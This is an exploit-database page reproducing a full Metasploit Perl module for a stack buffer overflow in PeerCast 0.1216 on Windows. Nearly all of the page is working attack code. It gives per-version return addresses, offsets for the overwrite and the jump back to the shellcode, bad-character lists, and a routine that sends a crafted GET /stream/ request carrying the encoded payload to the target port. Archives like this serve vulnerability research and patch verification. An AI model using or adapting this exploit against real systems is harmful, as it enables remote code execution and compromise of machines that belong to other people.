Lucene search
K

PeerCast <= 0.1216 - Remote Buffer Overflow Exploit (win32) (meta)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

PeerCast v0.1216 Remote Buffer Overflow Exploit for win3

Code

                                                ##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::peercast_url_win32;
use base &#34;Msf::Exploit&#34;;
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {

	&#39;Name&#39;  =&#62; &#39;PeerCast &#60;= 0.1216 URL Handling Buffer Overflow(win32)&#39;,
	&#39;Version&#39;  =&#62; &#39;$Revision: 1.2 $&#39;,
	&#39;Authors&#39; =&#62; [ &#39;H D Moore &#60;hdm [at] metasploit.com&#62;&#39;, ],
	&#39;Arch&#39;  =&#62; [ &#39;x86&#39; ],
	&#39;OS&#39;    =&#62; [ &#39;win32&#39; ],
	&#39;Priv&#39;  =&#62; 0,
	
	&#39;AutoOpts&#39;	=&#62; { &#39;EXITFUNC&#39; =&#62; &#39;process&#39; },

	&#39;UserOpts&#39;  =&#62;
	  {
		&#39;RHOST&#39; =&#62; [1, &#39;ADDR&#39;, &#39;The target address&#39;],
		&#39;RPORT&#39; =&#62; [1, &#39;PORT&#39;, &#39;The target port&#39;, 7144],
		&#39;SSL&#39;   =&#62; [0, &#39;BOOL&#39;, &#39;Use SSL&#39;],
	  },

	&#39;Payload&#39; =&#62;
	  {
		&#39;Space&#39;     =&#62; 400,
		&#39;BadChars&#39;  =&#62; &#34;\x00\x0a\x0d\x20\x0d&#34;,
		&#39;Keys&#39;      =&#62; [&#39;+ws2ord&#39;],
		&#39;Prepend&#39;   =&#62; &#34;\x81\xc4\x54\xf2\xff\xff&#34;,  # add esp, -3500
	  },

	&#39;Description&#39;  =&#62; Pex::Text::Freeform(qq{
	This module exploits a stack overflow in PeerCast &#60;= v0.1216. 
	The vulnerability is caused due to a boundary error within the
	handling of URL parameters.
}),

	&#39;Refs&#39;  =&#62;
	  [
	  	[&#39;OSVDB&#39;, &#39;23777&#39;],
		[&#39;BID&#39;, &#39;17040&#39;],
		[&#39;URL&#39;, &#39;http://www.infigo.hr/in_focus/INFIGO-2006-03-01&#39;],
	  ],

	&#39;Targets&#39; =&#62;
	  [
		[&#39;Windows 2000 English SP0-SP4&#39;, 0x75023360 ],
		[&#39;Windows 2003 English SP0-SP1&#39;, 0x77d099e3 ],
		[&#39;Windows XP English SP0/SP1&#39;, 0x77dbfa2c],
		[&#39;Windows XP English SP0/SP2&#39;, 0x77dc12b8],
	  ],

	&#39;Keys&#39; =&#62; [&#39;peercast&#39;],

	&#39;DisclosureDate&#39; =&#62; &#39;March 8 2006&#39;,
  };

sub new {
	my $class = shift;
	my $self = $class-&#62;SUPER::new({&#39;Info&#39; =&#62; $info, &#39;Advanced&#39; =&#62; $advanced}, @_);
	return($self);
}

sub Exploit
{
	my $self = shift;
	my $target_host = $self-&#62;GetVar(&#39;RHOST&#39;);
	my $target_port = $self-&#62;GetVar(&#39;RPORT&#39;);
	my $target_idx  = $self-&#62;GetVar(&#39;TARGET&#39;);
	my $offset      = $self-&#62;GetVar(&#39;OFFSET&#39;);
	my $shellcode   = $self-&#62;GetVar(&#39;EncodedPayload&#39;)-&#62;Payload;
	my $target = $self-&#62;Targets-&#62;[$target_idx];

	my $pattern = Pex::Text::AlphaNumText(1024);
	
	# Return to EDI (offset 812)
	substr($pattern, 768, 4, pack(&#39;V&#39;, $target-&#62;[1]));
	
	# Jump back to the shellcode
	substr($pattern, 812, 5, &#34;\xe9&#34;.pack(&#34;V&#34;, -517));
	
	# Insert he payload at offset 300 to avoid corruption
	substr($pattern, 300, length($shellcode), $shellcode);
	
	my $sploit = &#34;GET /stream/?&#34;. $pattern .&#34; HTTP/1.0\r\n\r\n&#34;;
	$self-&#62;PrintLine(sprintf(&#34;[*] Trying to exploit target %s 0x%.8x&#34;, $target-&#62;[0], $target-&#62;[1]));

	my $s = Msf::Socket::Tcp-&#62;new
	  (
		&#39;PeerAddr&#39;  =&#62; $target_host,
		&#39;PeerPort&#39;  =&#62; $target_port,
		&#39;LocalPort&#39; =&#62; $self-&#62;GetVar(&#39;CPORT&#39;),
		&#39;SSL&#39;       =&#62; $self-&#62;GetVar(&#39;SSL&#39;),
	  );
	if ($s-&#62;IsError) {
		$self-&#62;PrintLine(&#39;[*] Error creating socket: &#39; . $s-&#62;GetError);
		return;
	}

	$s-&#62;Send($sploit);
	$self-&#62;Handler($s);
	$s-&#62;Close();
	return;
}

1;

# milw0rm.com [2006-03-30]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation